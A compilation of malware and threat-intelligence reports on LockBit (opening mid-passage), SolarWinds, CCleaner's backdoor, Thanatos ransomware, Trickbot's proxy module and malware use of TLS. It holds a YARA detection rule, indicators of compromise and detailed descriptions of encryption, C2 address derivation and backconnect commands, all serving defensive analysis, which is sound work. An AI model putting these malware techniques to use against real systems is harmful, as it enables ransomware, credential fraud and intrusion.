Prior to encryption, LockBit will enumerate all volumes on the target system using FindFirstVolumeW and FindNextVolumeW and proceeds to retrieve a list of Drive letters and any mounted folder paths. Then each drive path is iterated from Z to A before being mounted to a specific drive letter by calling SetVolumeMountPointW. Libsodium Cryptography is used for the public key crypto using functions bcrypt.dll and LoadLibraryA, it will use BCryptGenRandom for the RNG function or CryptGenRandom. Next, as seen before, the stack string is resolved and the public key is used to format it which is later used as a Registry key to store the victim crypto keys. The malware calls Libsodium crypto_box_keypair to generate a random 32-bit private key and the corresponding public key. Next, it will encrypt the 64-bit buffer containing both keys using Libsodium crypto_box_easy then deletes the victim's private key from memory.
After setting up the crypto keys, LockBit initializes its multithreading method referenced earlier. It then traverses through all local drives using techniques to skip drives that are not available, or that have already been encrypted. Files that are recognized as read-only change the attribute to FILE_ATTRIBUTE_NORMAL making it writable and available for encryption. The files are encrypted using 512 byte chunks and given the extension .lockbit. Again calling the RNG function, the malware randomly generates a 16-byte AES key and 16-byte AES IV and writes into the file structure before renaming the file before the encryption by populating a FILE_NAME_INFORMATION with the encrypted file name before calling NTSetInformationFile with the information class FileNameInformation. In the final stages, LockBit will create threads to traverse and encrypt other network hosts and network drives by using the GetAdapterInfo. The inet_addr call is made to convert the system IP address and mask. Once the broadcast domain is identified, LockBit will scan the network iterating from the network ID address and incrementing up to the broadcast address trying to connect over ports 135 or 445; if successful, it will try to encrypt the network hosts.
### Procedures
### Indicators of Compromise
### Further reading
Want to find out more about LockBit? Check out these links. |
# Exclusive: Suspected Chinese Hackers Used SolarWinds Bug to Spy on U.S. Payroll Agency
By Christopher Bing, Jack Stubbs, Raphael Satter, Joseph Menn
WASHINGTON (Reuters) - Suspected Chinese hackers exploited a flaw in software made by SolarWinds Corp to help break into U.S. government computers last year, five people familiar with the matter told Reuters, marking a new twist in a sprawling cybersecurity breach that U.S. lawmakers have labeled a national security emergency.
Two people briefed on the case said FBI investigators recently found that the National Finance Center, a federal payroll agency inside the U.S. Department of Agriculture, was among the affected organizations, raising fears that data on thousands of government employees may have been compromised.
The software flaw exploited by the suspected Chinese group is separate from the one the United States has accused Russian government operatives of using to compromise up to 18,000 SolarWinds customers, including sensitive federal agencies, by hijacking the company’s Orion network monitoring software.
Security researchers have previously said a second group of hackers was abusing SolarWinds’ software at the same time as the alleged Russian hack, but the suspected connection to China and ensuing U.S. government breach have not been previously reported.
Reuters was not able to establish how many organizations were compromised by the suspected Chinese operation. The sources, who spoke on condition of anonymity to discuss ongoing investigations, said the attackers used computer infrastructure and hacking tools previously deployed by state-backed Chinese cyberspies.
A USDA spokesman said in an email, “USDA has notified all customers (including individuals and organizations) whose data has been affected by the SolarWinds Orion Code Compromise.”
In a follow-up statement after the story was published, a different USDA spokesman said the NFC was not hacked and that “there was no data breach related to SolarWinds” at the agency. He did not provide further explanation.
The Chinese foreign ministry said attributing cyberattacks was a “complex technical issue” and any allegations should be supported with evidence. “China resolutely opposes and combats any form of cyberattacks and cyber theft,” it said in a statement.
SolarWinds said it was aware of a single customer that was compromised by the second set of hackers but that it had “not found anything conclusive” to show who was responsible. The company added that the attackers did not gain access to its own internal systems and that it had released an update to fix the bug in December.
In the case of the sole client it knew about, SolarWinds said the hackers only abused its software once inside the client’s network. SolarWinds did not say how the hackers first got in, except to say it was “in a way that was unrelated to SolarWinds.”
The FBI declined to comment.
Although the two espionage efforts overlap and both targeted the U.S. government, they were separate and distinctly different operations, according to four people who have investigated the attacks and outside experts who reviewed the code used by both sets of hackers.
While the alleged Russian hackers penetrated deep into SolarWinds network and hid a “back door” in Orion software updates which were then sent to customers, the suspected Chinese group exploited a separate bug in Orion’s code to help spread across networks they had already compromised, the sources said.
## ‘EXTREMELY SERIOUS BREACH’
The side-by-side missions show how hackers are focusing on weaknesses in obscure but essential software products that are widely used by major corporations and government agencies.
“Apparently SolarWinds was a high value target for more than one group,” said Jen Miller-Osborn, the deputy director of threat intelligence at Palo Alto Networks’ Unit42.
Former U.S. chief information security officer Gregory Touhill said separate groups of hackers targeting the same software product was not unusual. “It wouldn’t be the first time we’ve seen a nation-state actor surfing in behind someone else, it’s like ‘drafting’ in NASCAR,” he said, where one racing car gets an advantage by closely following another’s lead.
The connection between the second set of attacks on SolarWinds customers and suspected Chinese hackers was only discovered in recent weeks, according to security analysts investigating alongside the U.S. government.
Reuters could not determine what information the attackers were able to steal from the National Finance Center (NFC) or how deep they burrowed into its systems. But the potential impact could be “massive,” former U.S. government officials told Reuters.
The NFC is responsible for handling the payroll of multiple government agencies, including several involved in national security, such as the FBI, State Department, Homeland Security Department, and Treasury Department, the former officials said.
Records held by the NFC include federal employee social security numbers, phone numbers, and personal email addresses as well as banking information. On its website, the NFC says it “services more than 160 diverse agencies, providing payroll services to more than 600,000 Federal employees.”
“Depending on what data were compromised, this could be an extremely serious breach of security,” said Tom Warrick, a former senior official at the U.S. Department of Homeland Security. “It could allow adversaries to know more about U.S. officials, improving their ability to collect intelligence.”
Reporting by Christopher Bing and Raphael Satter in Washington, Joseph Menn in San Francisco, and Jack Stubbs in London; Additional reporting by Brenda Goh in Shanghai; Editing by Jonathan Weber and Edward Tobin. |
# Avast Threat Labs Analysis of CCleaner Incident
## Technical Update and Ongoing Analysis of the APT Security Incident
Experts at Avast Threat Labs have been analyzing the CCleaner advanced persistent threat (APT) continuously for the past few days. Apart from the information in recent blog posts, we are starting a series of technical blog posts describing details and technical information encountered during our analysis. Today, we will cover the ongoing analysis of the CnC server and the 2nd stage payload.
### Just 4 Days of Data?
Shortly after receiving the initial notification about the incident from Morphisec, we reached out to law enforcement agencies to help us take down the Command and Control (CnC) server and get access to its contents. While analyzing the data, we noticed that there were only a few days’ worth of data in the logs, and we wondered why. We knew the server was installed on July 31st, so there had to be more than a month’s worth of data since then:
```
Jul 31 06:32:53 seassdvz3.servercrate.com systemd[1]: Started First Boot Wizard.
```
Although the server was up and running since the end of July, data gathering started on August 11th, in preparation for the release of the compromised CCleaner executable file:
```
Aug 11 07:36:52 seassdvz3 mariadb-prepare-db-dir[10729]: Initializing MySQL database
Aug 11 07:36:52 seassdvz3 mariadb-prepare-db-dir[10729]: Installing MariaDB/MySQL system tables in '/var/lib/mysql' ...
```
The database didn’t contain data older than September 12th, so we originally thought someone might have deleted the data to avoid being traced, but then we found this log:
```
170830 20:36:17 [Note] /usr/libexec/mysqld: ready for connections. Version: '5.5.52-MariaDB' socket: '/var/lib/mysql/mysql.sock' port: 3306 MariaDB Server
170910 8:47:40 InnoDB: Error: Write to file ./ibdata1 failed at offset 112854223872. InnoDB: 1048576 bytes should have been written, only 0 were written. InnoDB: Operating system error number 122. InnoDB: Check that your OS and file system support files of this size. InnoDB: Check also that the disk is not full or a disk quota exceeded. InnoDB: Error number 122 means 'Disk quota exceeded'.
```
The MariaDB database—which stored the data acquired by the backdoor—ran out of disk space. Not coincidentally, there was a connection to the machine just a few hours after the database died:
```
root pts/0 Sun Sep 10 20:59 - 23:34 (02:34) 124-144-xxx-xxx.rev.home.ne.jp
```
The user behind this connection came to free up some disk space. He (or she) started by erasing all the logs in the hope that this would quickly fix the issue, but the logs show the database also encountered some serious issues and was corrupted:
```
170910 8:47:43 [ERROR] mysqld got signal 6 ;
```
Two days later, another connection was made, and this time, the attacker decided to resurrect the database by a complete reinstall:
```
Sep 12 07:56:13 Erased: 1:mariadb-server-5.5.52-1.el7.x86_64
Sep 12 07:56:13 Erased: 1:mariadb-5.5.52-1.el7.x86_64
Sep 12 08:02:43 Installed: 1:mariadb-5.5.52-1.el7.x86_64
Sep 12 08:02:44 Installed: 1:mariadb-server-5.5.52-1.el7.x86_64
```
It is unfortunate that the server was a low-end machine with limited disk capacity. If it weren’t for this (just 5 days before we took the server down), we would likely have a much clearer picture of exactly who was affected by the attack as the entire database would have been intact from the initial launch date.
### Where Did the Attackers Come From?
To figure out who the attackers were, we looked for any breadcrumbs the attackers might have left for us to follow. As Costin Raiu pointed out on Twitter, there are some striking similarities between the code injected into CCleaner and APT17/Aurora malware created by a Chinese APT group in 2014/2015.
Indeed, the similarity between the code linked to group APT17 and the recent payload is quite high. Some of the functions are almost identical while other functions have a partial match, but the structure is overall very similar.
Next, we looked at where the attacker was connecting from to the CnC server:
```
root pts/0 Tue Sep 12 18:11 - 18:50 (00:39) xxxx.ap.so-net.ne.jp
root pts/0 Tue Sep 12 09:23 - 14:14 (04:51) xxxxx.bbtec.net
root pts/0 Sun Sep 10 20:59 - 23:34 (02:34) 124-144-xxx-xxx.rev.home.ne.jp
```
Interestingly enough, most of the connections came from Japanese networks. Although these addresses are likely just infected PCs and servers used as proxies, it suggests that the attackers might be familiar with Asian networks. The list of targeted companies contained quite a few Asian companies but none from China. Lastly, the time zone in the PHP scripts feeding the database were set to PRC (People’s Republic of China) although the system clock is in UTC.
Even with all of these clues, it is impossible at this stage to claim which country the attack originated from, simply because all of the data points could easily be forged to hide the true location of the perpetrator.
### Targeted Companies - South Korea or Slovakia?
In addition to the domain names of targeted companies already published, there were four more domains belonging to two more companies that haven’t been mentioned publicly. These domains were commented out in the scripts, which can indicate the list of targeted companies had changed repeatedly over time. This is further supported by the fact that some of the 20 computers that we know received the 2nd stage payload were in domains that were also not included in the original list.
As a side note, the attackers seem to have made a mistake with the domain name of one company specified as “<company>.sk”. We suppose they wanted to target the South Korean users, but the domain .sk actually belongs to the Slovak Republic, so they were unknowingly trying to infect users from the Slovakian branch of the company!
### Matryoshkas
Ever heard of the Russian nesting doll Matryoshka? It’s a set of dolls of decreasing size placed one inside another, and while analyzing the 2nd stage payload binary, we had a sense of playing with Matryoshkas ourselves as there were multiple levels of indirection that we had to go through.
The backdoor in CCleaner called home to receive the second stage payload which we found in the server dump under the name GeeSetup_x86.dll. Opening the first Matryoshka, we see two more containing 32- and 64-bit payloads, each of which piggybacked on a different legitimate binary along with additional malware for the appropriate architecture. The 32-bit version used patched TSMSISrv.dll, while the 64-bit version used a patched EFACli64.dll originally developed by Symantec.
When the DLLs were loaded, they saved the embedded malware into the registry and used elaborate tactics to extract the registry loader routine and run it.
### Hacked CRT
One way to show how sophisticated the attackers were is to look at the way they modified the C runtime (CRT). We will demonstrate this on the 64-bit version. CRT is a piece of code that contains important functions needed for the program to run. The modified CRT code can be found in the second stage payload which is embedded in the original Symantec code. The modifications are performed by adding a few instructions to the function `__security_init_cookie`, which is ironically responsible for securing the code from buffer overflows—the well-known “canary”. The added instructions change the `_pRawDllMain` function pointer to point to the special function that extracts a hidden registry payload loader.
### The (Not So Good) Kill Switch
Many of you may have heard about the WannaCry ransomware and its weak spot called the kill switch. The good news in our case is that one of the payloads delivered by the backdoored CCleaner also contains a code mechanism similar to a kill switch. The bad news is that it is not as powerful as a kill switch in a WannaCry attack.
The most important outcome of the analysis is definitely the discovery of a kill switch. The second stage payload checks for the presence of a file `%TEMP%\spf`. If the file exists, the payload will terminate.
As you may notice from the code above, this payload is running in an endless loop. Within this loop, the payload tries to communicate with one of its CnC servers. The previously described kill-switch can be used to exit the loop and thus the whole program. In other words, this will prevent any other connections to the CnC server. Sadly, the kill-switch is checked after a communication attempt is made, so if the server responded, the user has already received and run the second stage payload, which renders the kill-switch almost useless.
### Getting to Stage Three
Similar to the first stage payload, the second stage also relies on communication with CnC servers. However, there is no hardcoded IP address nor any DGA (domain generation algorithm) like there was in the former payload. Instead, there are three different approaches to retrieve the CnC IP address, and one of them is picked randomly each time by the algorithm. The three approaches are:
1. Via a hidden message stored in user profile details on a GitHub page (this doesn’t exist anymore; it was probably deleted after the attackers realized something was going on). The URL string is parsed by the payload in the reply from GitHub and by using simple binary operations. The result is an IP address of another CnC, which the payload uses for communication over TCP port 443 (usually HTTPS). In other code parts, there is also a UDP communication over port 53, which mimics DNS protocol.
2. Alternatively to approach 1, it also tries to retrieve an IP address from a WordPress-hosted page. Once again, this web page is not active at the moment, so the payload is unable to retrieve any information from it.
3. Finally, there is a third way to get a CnC IP address, and it is very similar to the approach used in the DGA of the first payload. It tries to read DNS records for a domain “get.adxxxxxx.net” (exact domain name redacted). It requires at least two IP addresses from which it computes the target CnC address.
To illustrate the algorithm, we demonstrate how it would work for the avast.com domain and its two IP addresses 77.234.43.52 and 77.234.45.78.
At first, the IP addresses are represented as hexadecimal numbers:
```
77.234.43.52 = 4D EA 2B 34
77.234.45.78 = 4D EA 2D 4E
```
Then the bytes of these numbers are XORed together:
```
4D EA 2B 34 = /xor/ = C1 79
4D EA 2D 4E = /xor/ = C7 03
```
These four bytes are grouped together forming four octets of the CnC address C1 79 C7 03. (Note: we omit displaying the resulting IP address because this was only an illustrative example using the avast.com domain). In the case of the get.adxxxxx.net domain, there are no IP addresses registered to this domain right now, thus the algorithm is once again not working and no CnC IP address is served at the time of writing this article.
As you can see, none of these three methods is able to retrieve the CnC IP address at this moment. If it could retrieve the CnC IP address, however, it would start a bidirectional socket-based communication with the CnC. It will once again upload some information (computer name, volume serial number of system drive, installed OS, etc.) about the victims of the attack. More importantly, this second stage payload is capable of retrieving and executing additional code from the CnC - the 3rd stage payload.
### Next Steps
Our investigation and hunt for the perpetrators continues. In the meantime, we advise users who downloaded the affected version to upgrade to the latest version of CCleaner and perform a scan of their computer with good security software to ensure no other threats are lurking on their PC.
The companies we believe were introduced to the second stage payload were notified. If there are any other companies who believe they encountered this malware, please contact us through our legal department at [email protected]. |
# Files Cannot Be Decrypted? Challenge Accepted. Talos Releases ThanatosDecryptor
## Executive Summary
Cisco Talos has analyzed Thanatos, a ransomware variant that is being distributed via multiple malware campaigns conducted over the past few months. As a result of our research, we have released a new, free decryption tool to help victims recover from this malware. Multiple versions of Thanatos have been leveraged by attackers, indicating that this is an evolving threat that continues to be actively developed by threat actors. Unlike other ransomware, Thanatos does not demand ransom payments using a single cryptocurrency like Bitcoin. Instead, it has been observed supporting ransom payments in the form of Bitcoin Cash (BCH), Zcash (ZEC), Ethereum (ETH), and others.
Due to issues present within the encryption process leveraged by this ransomware, the malware authors are unable to return the data to the victim, even if he or she pays the ransom. While previous reports seem to indicate this is accidental, specific campaigns appear to demonstrate that in some cases, this is intentional on the part of the distributor. In response to this threat, Talos is releasing ThanatosDecryptor, a free decryption tool that exploits weaknesses in the design of the file encryption methodology used by Thanatos. This utility can be used by victims to regain access to their data if infected by this ransomware.
## Technical Details
While tracking and analyzing the various campaigns used to distribute the Thanatos ransomware, Talos identified multiple distinct versions of this malware, indicating that it is continuing to be actively developed by the malware author. The main differences can be directly observed within the ransom note being used to inform victims that they have been infected and provide instructions for paying a ransom to the attacker.
Version 1 of Thanatos, distributed in mid-February, featured a primitive ransom note stored on the victim's desktop as README.txt. This version simply informs the user that their files have been encrypted and instructs them to pay a ransom amount of 0.01 bitcoin (BTC) to the specified bitcoin wallet. Rather than using different wallet addresses across samples, the same hardcoded wallet address is present in all samples of this version analyzed by Talos. Payment processing appears to be manual and email-based, indicative of an attacker with limited resources and knowledge of ransomware creation and distribution techniques used by more well-known ransomware families.
Shortly after Version 1 was observed, malware distribution campaigns began distributing Thanatos Version 1.1, with the majority of the distribution occurring between February and April 2018. This updated version featured several key differences related to the type of cryptocurrencies that victims could pay with. Thanatos Version 1.1 supports payment of the ransom demand using BTC, ETH, and BCH. Additionally, the malware now includes a unique MachineID that the victim is instructed to send to the attacker via email.
Interestingly, the ransom notes changed several times across samples analyzed. In investigating the distribution mechanisms used by the attacker, we identified a campaign indicating that the attacker had no intention of providing any sort of data decryption to the victim. The malware appears to have been delivered as an attachment to a chat message sent via the Discord chat platform. The filename used in this case was "fastleafdecay.exe," which may indicate that the victim was tricked into executing the malware as it was posing as a mod of the same name in the video game Minecraft.
When executed, this sample displayed a ransom note stating that decryption was not available, indicating that this particular case was not financially motivated and was instead used to destroy data on the victim's system.
## Thanatos Operations and Encryption Process
When executed on victim systems, Thanatos copies itself into a subdirectory created within %APPDATA%/Roaming. The subdirectory name and executable file name are randomly generated based on system uptime and change each time the malware executes. Thanatos recursively scans the following directories within the current user's profile to identify files to encrypt:
- Desktop
- Documents
- Downloads
- Favourites
- Music
- OneDrive
- Pictures
- Videos
Thanatos supports encryption of any file that has an extension. For each file located, it derives an encryption key based on the number of milliseconds that the infected system has been running via a call to GetTickCount. The malware then encrypts the file using Advanced Encryption Standard (AES)-256 and discards the encryption key, precluding the attacker from providing access to the decrypted data, even if a ransom demand is paid. Encrypted files are written to the filesystem with the .THANATOS file extension, and the original files are deleted.
The malware also leverages an external website called iplogger, which provides customized URLs to track information about systems that access the URL. By making HTTP GET requests using these hardcoded URLs, the attacker can obtain information about all infected systems.
The ransom note associated with Thanatos is saved to the infected user's desktop using the filename README.txt. A registry entry is created so that each time the system boots, the ransom note is displayed using the Notepad application. This registry key is located in HKCU\Software\Microsoft\Windows\CurrentVersion\Run. Aside from this, the malware does not obtain persistence for the executable itself.
## ThanatosDecryptor
The encryption keys used to encrypt files on victims' systems are derived based on the number of milliseconds since the system last booted. This value is a 32-bit number, meaning that the encryption key is effectively 32 bits as well. The maximum number of milliseconds that can be stored in a 32-bit value is roughly 49.7 days, which is higher than the average uptime on many systems due to patch installation, system reboots, and other factors. This makes brute-forcing the key values significantly cheaper from a time perspective.
Another optimization can be made based on the fact that the system uptime is written to the Windows Event Log roughly once per day. Since Thanatos does not modify the file creation dates on encrypted files, the key search space can be further reduced to approximately the number of milliseconds within the 24-hour period leading up to the infection. At an average of 100,000 brute-force attempts per second, it would take roughly 14 minutes to successfully recover the encryption key in these conditions.
Talos is releasing a decryption utility that can be leveraged by victims of Thanatos to attempt to regain access to data and files stored on the infected system. It has been tested on Versions 1 and 1.1 of the Thanatos ransomware and on all currently known Thanatos samples observed.
**Note:** In order to decrypt files as quickly as possible, ThanatosDecryptor should be executed on the original machine that was infected and against the original encrypted files that the malware created.
This decryption utility currently supports decryption of the following types of files:
- **Image:** .gif, .tif, .tiff, .jpg, .jpeg, .png
- **Video:** .mpg, .mpeg, .mp4, .avi
- **Audio:** .wav
- **Document:** .doc, .docx, .xls, .xlsx, .ppt, .pptx, .pdf, .odt, .ods, .odp, .rtf
- **Other:** .zip, .7z, .vmdk, .psd, .lnk
The decryptor first searches the same directories as the ransomware to identify files that contain the .THANATOS file extension. For files that contain the .THANATOS file extension, the decryptor will then obtain the original file extension, which is left intact during infection, and compare it to the list of supported file types. If the file type is supported, the decryptor will queue that file for decryption.
ThanatosDecryptor also parses the Windows Event Log for uptime messages and uses the encrypted file creation time metadata to determine a starting value for decryption. This value is used to derive an encryption key, and an AES decryption operation is performed against the file contents. The resulting bytes are then compared against values known to be valid file headers for the specific file type. If they do not match, the seed value for the encryption key is incremented, and the process is repeated. Once successful, the original file is written to the file system, and the original filename is restored. Once one file has been successfully decrypted, ThanatosDecryptor uses the seed value from that decryption attempt as the starting point for decryption attempts against additional files since they are likely to be very similar.
To execute ThanatosDecryptor, simply download the ThanatosDecryptor project and execute ThanatosDecryptor.exe, which can be found in the release directory.
## Following the Money … or Lack Thereof
Throughout the various Thanatos campaigns and associated samples, the attacker made changes to the types of cryptocurrencies that they claim are supported for paying the ransom demand. Analysis of these various wallets and associated cryptocurrency transactions revealed interesting information about the size and success of these malware campaigns over time. Across all samples, the following cryptocurrency wallets were listed along with instructions for paying the ransom on the ransom note:
**Bitcoin ($BTC):**
- 1HVEZ1jZ7BWgBYPxqCVWtKja3a9hsNa9Eh
- 1DRAsxW4cKAD1BCS9m2dutduHi3FKqQnZF
**Ethereum ($ETH):**
- 0x92420e4D96E5A2EbC617f1225E92cA82E24B03ef
**Bitcoin Cash ($BCH):**
- Qzuexhcqmkzcdazq6jjk69hkhgnme25c35s9tamz6f
**ZCash ($ZEC):**
- t1JBenujX2WsYEZnzxSJDsQBzDquMCf8kbZ
In analyzing the bitcoin wallets, we identified that the attacker had not received a single ransom payment from victims. The wallet listed most frequently across the samples analyzed (1HVEZ1jZ7BWgBYPxqCVWtKja3a9hsNa9Eh) was not even a valid bitcoin wallet. The second wallet (1DRAsxW4cKAD1BCS9m2dutduHi3FKqQnZF) did not have a single transaction to or from it. Likewise, the Bitcoin Cash wallet has also never seen a single transaction.
When analyzing the Zcash wallet, we identified that while it had seen several transactions, the total amount of ZEC received was 2.24767084, approximately $450 USD. The Ethereum wallet used by the attacker also saw several transactions, but the total amount was low compared to more successful ransomware campaigns. The total amount of ETH received in this wallet was 0.52087597, approximately $270 USD.
This means that across all samples seen in the wild, the attacker's wallets had only received a total of $720 USD. If the incoming cryptocurrency was directly related to victims paying a ransom as a result of Thanatos infections, this clearly did not generate significant revenue for the attacker compared to other financially motivated cybercrime operations.
## Conclusion
Whether for monetary gains or to destroy data, attackers are continuously targeting end users. This malware proves how easy it has become for anyone to target users. You do not have to be a sophisticated attacker to cause havoc. There are also endless supply of attack vectors available. In this case, the attacker took advantage of the Discord chat platform. Therefore, it is important to take security seriously and take steps to secure your systems, whether they are used for personal or business purposes. Since many of these attacks take advantage of users, you also need to be careful when opening attachments from unknown sources or clicking on unknown links.
## Coverage
Additional ways our customers can detect and block this threat include:
- Advanced Malware Protection (AMP) is ideally suited to prevent the execution of the malware used by these threat actors.
- Cisco Cloud Web Security (CWS) or Web Security Appliance (WSA) web scanning prevents access to malicious websites and detects malware used in these attacks.
- Email Security can block malicious emails sent by threat actors as part of their campaign.
- Network Security appliances such as Next-Generation Firewall (NGFW), Next-Generation Intrusion Prevention System (NGIPS), and Meraki MX can detect malicious activity associated with this threat.
- AMP Threat Grid helps identify malicious binaries and build protection into all Cisco Security products.
- Umbrella, our secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs, and URLs, whether users are on or off the corporate network.
- Open Source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org.
## YARA Signatures
Talos is also providing the following YARA signature that can be used to identify samples associated with the Thanatos ransomware family.
```yara
rule Thanatos {
strings:
$s1 = ".THANATOS\x00" ascii
$s2 = "\\Desktop\\README.txt" ascii
$s3 = "C:\\Windows\\System32\\notepad.exe C:\\Users\\" ascii
$s4 = "AppData\\Roaming" ascii
$s5 = "\\Desktop\x00" ascii
$s6 = "\\Favourites\x00" ascii
$s7 = "\\OneDrive\x00" ascii
$s8 = "\\x00.exe\x00" ascii
$s9 = "/c taskkill /im" ascii
$s10 = "Software\\Microsoft\\Windows\\CurrentVersion\\Run" ascii
condition:
6 of ($s1, $s2, $s3, $s4, $s5, $s6, $s7, $s8, $s9, $s10)
}
```
## Indicators of Compromise (IOC)
**File Hashes (SHA256)**
- bad7b8d2086ac934c01d3d59af4d70450b0c08a24bc384ec61f40e25b7fbfeb5
- fe1eafb8e31a84c14ad5638d5fd15ab18505efe4f1becaa36eb0c1d75cd1d5a9
- 8df0cb230eeb16ffa70c984ece6b7445a5e2287a55d24e72796e63d96fc5d401
- 97d4145285c80d757229228d13897820d0dc79ab7aa3624f40310098c167ae7e
- 55aa55229ea26121048b8c5f63a8b6921f134d425fba1eabd754281ca6466b70
- 02b9e3f24c84fdb8ab67985400056e436b18e5f946549ef534a364dff4a84085
- 241f67ece26c9e6047bb1a9fc60bf7c45a23ea1a2bb08a1617a385c71d008d79
- 0bea985f6c0876f1c3f9967d96abd2a6c739de910e7d7025ae271981e9493204
- 42748e1504f668977c0a0b6ac285b9f2935334c0400d0a1df91673c8e3761312
**URLs**
- hXXps://cdn[.]discordapp[.]com/attachments/230687913581477889/424941165339475968/fastleafdecay.exe
- hXXp://iplogger[.]com:80/1CUTM6
- hXXp://iplogger[.]com:80/1t3i37
**User Agents**
- Mozilla/5.0 (Windows NT 6.1) Thanatos/1.1 |
# Beyond Bullets and Bombs: An Examination of Armageddon Group’s Cyber Warfare Against Ukraine
The ongoing conflict between Russia and Ukraine has seen cyber attacks from both sides. The Armageddon APT group is one of the most significant actors involved. This report analyzes the group’s tactics, techniques and procedures, their motivations and objectives. |
# Trickbot Gang Evolves, Incorporates Account Checking Into Hybrid Attack Model
November 22, 2017
Individuals who reuse login credentials across multiple sites are more susceptible to account checking attacks, which occur when threat actors use credentials stolen from past database breaches or compromises to gain unauthorized access to other accounts belonging to the same victims. However, the process of mining compromised data for correct username and password combinations requires significant computer processing power and proxy pool lists to be successful — a capability that is now exhibited by the Trickbot gang.
Considered to be the successor of the formidable Dyre banking Trojan gang, the Trickbot banking Trojan gang continues to evolve by adopting new attack methods and targeting various industries. While Trickbot predominantly targeted the financial industry, it has now expanded its targeting of other industries via its account checking activities; these are perpetrated through the backconnect SOCKS5 module enlisting victims as proxies. Enlisting victims as its proxies allows the gang to perform account checking activity with the same IP as its victims. The gang account checking operation requires a steady stream of new and “clean” proxies to make sure their activities wouldn’t get automatically blocked by companies’ automatic IP origin anti-fraud systems. Therefore, their existing infections are turned into account checking proxies.
The process of Trickbot’s backconnect proxy account checking activity involves several steps:
1. The Trickbot gang distributes email spam.
2. The victim opens the spam attachment.
3. Trickbot downloads and executes the payload from the payload server on the compromised machine.
4. The victim machine downloads the backconnect SOCKS5 proxy module from the module server.
5. The victim connects to the preconfigured gang’s backconnect server.
6. Finally, the Trickbot gang connects to the victim, enlisting their machine’s IP as its proxy for account checking activities via its backconnect SOCKS5 module.
The Trickbot gang continues to search for ways to monetize infections by adopting a hybrid attack model, which utilizes both Trickbot modular payloads and knowledgeable fraud operators. This hybrid approach allows Trickbot operators to launch account checking attacks leveraging infected victims as proxies.
Distributed through malicious Microsoft Office documents via email spam campaigns, Trickbot is notable for loading its backconnect SOCKS5 module bcClientDllTest onto compromised machines. This module is used extensively by the gang for account checking activity.
From Aug. 17 to the present, analysts observed close to 6,000 unique compromised machines associated with Trickbot SOCKS5 proxy module activities. Of these machines, more than 200 of them were actively enlisted for account checking fraud activities at any one time.
Trickbot utilizes a backconnect communication protocol maintaining the following commands, which are used for client-server communications initially with the command prefix “c”:
- **disconnect**: Terminate the backconnect server connection
- **idle**: Maintain the client-server connection
- **connect**: Connect to the backconnect server. The command must consist of the following parameters:
- **ip**: Backconnect server’s IP address
- **auth_swith**: Use authorization flag. If the value is set to “1”, the Trojan receives the auth_login and auth_pass parameters. If the value is “0”, the Trojan gets the auth_ip parameter. Otherwise, the connection will not be established.
- **auth_ip**: Authentication IP address
- **auth_login**: Authentication login
- **auth_pass**: Authentication password
There are three main Trickbot SOCKS5 server-client commands:
- `c=idle`
- `c=disconnect`
- `c=connect`
Trickbot victims create a sequence of GET requests to the server on gate[.]php:
- `client_id=&connected=&server_port=&debug=`
The server responds with a POST request with the following parameters if the connection needs to be established:
- `c=connect&ip=&auth_swith=&auth_ip=&auth_login=&auth_pass=`
If the connection needs to be terminated, the server will respond with `c=disconnect`.
Most notably, once compromised, Trickbot targets customers of financial institutions via webinjects and redirection attacks. The Trojan also uses victim IPs as proxies to leverage username and password combinations for account checking activity. The observed account checking activity mainly targets customers of companies in nine industries, most of those in gaming. Notably, some of the targets appear to be Russia-based companies.
Trickbot account checking activity is mainly directed to customers of U.S.- and Russia-based companies operating in the following industries:
- Gaming
- Technology
- Financial
- Entertainment
- Adult
- Social Media
- Retail
- Rewards
- Cryptocurrency
Likely leveraging commercial account checker tools, the Trickbot gang and its associates heavily utilize its victims’ IPs as proxies for account checking activity that imitates mobile device-based account logins. Their attacks leave various web application artifacts such as spoofed user agent information and device information, indicating as if the activity was being performed leveraging mobile devices. Such mobile logins are meant to bypass traditional anti-fraud controls that are largely implemented to address web-based logins. In cybercriminals’ pursuit of targets, their attempts at evading anti-fraud systems are thus dictated by a company’s anti-fraud controls, which are in turn influenced by cybercriminal tactics, techniques, and procedures (TTPs). Analysts assess with moderate confidence the Trickbot operators will likely continue to monetize infections by turning victims’ IPs into proxies that subsequently fuel account checking activities. |
# Nearly Half of Malware Now Use TLS to Conceal Communications
**Sean Gallagher**
*April 21, 2021*
Transport Layer Security has been one of the greatest contributors to the privacy and security of Internet communications over the past decade. The TLS cryptographic protocol is used to secure an ever-increasing portion of the Internet’s web, messaging, and application data traffic. The secure HTTP (HTTPS) web protocol, StartTLS email protocol, Tor anonymizing network, and virtual private networks such as those based on the OpenVPN protocol all leverage TLS to encrypt and encapsulate their contents—protecting them from being observed or modified in transit.
Over the past decade, and particularly in the wake of revelations about mass Internet surveillance, the use of TLS has grown to cover a majority of Internet communications. According to browser data from Google, the use of HTTPS has grown from just over 40 percent of all web page visits in 2014 to 98 percent in March of 2021.
It should come as no surprise, then, that malware operators have also been adopting TLS for essentially the same reasons: to prevent defenders from detecting and stopping deployment of malware and theft of data. We’ve seen dramatic growth over the past year in malware using TLS to conceal its communications. In 2020, 23 percent of malware we detected communicating with a remote system over the Internet were using TLS; today, it is nearly 46 percent.
There’s also a significant fraction of TLS communications that use an Internet Protocol port other than 443—such as malware using a Tor or SOCKS proxy over a non-standard port number. We queried against certificate transparency logs with the host names associated with malware Internet communications on ports other than 443, 80, and 8080, and found that 49 percent of the hosts had TLS certificates associated with them that were issued by a Certificate Authority (CA). A small fraction of the others manually checked used self-signed certificates.
But a large portion of the growth in overall TLS use by malware can be linked in part to the increased use of legitimate web and cloud services protected by TLS—such as Discord, Pastebin, Github, and Google’s cloud services—as repositories for malware components, as destinations for stolen data, and even to send commands to botnets and other malware. It is also linked to the increased use of Tor and other TLS-based network proxies to encapsulate malicious communications between malware and the actors deploying them.
Google’s cloud services were the destination for nine percent of malware TLS requests, with India’s BSNL close behind. During the month of March 2021, we saw a rise in the use of Cloudflare-hosted malware—largely because of a spike in the use of Discord’s content delivery network, which is based on Cloudflare, which by itself accounted for 4 percent of the detected TLS malware that month. We reported over 9,700 malware-related links to Discord; many were Discord-specific, targeting the theft of user credentials, while others were delivery packages for other information stealers and trojans.
In aggregate, nearly half of all malware TLS communications went to servers in the United States and India.
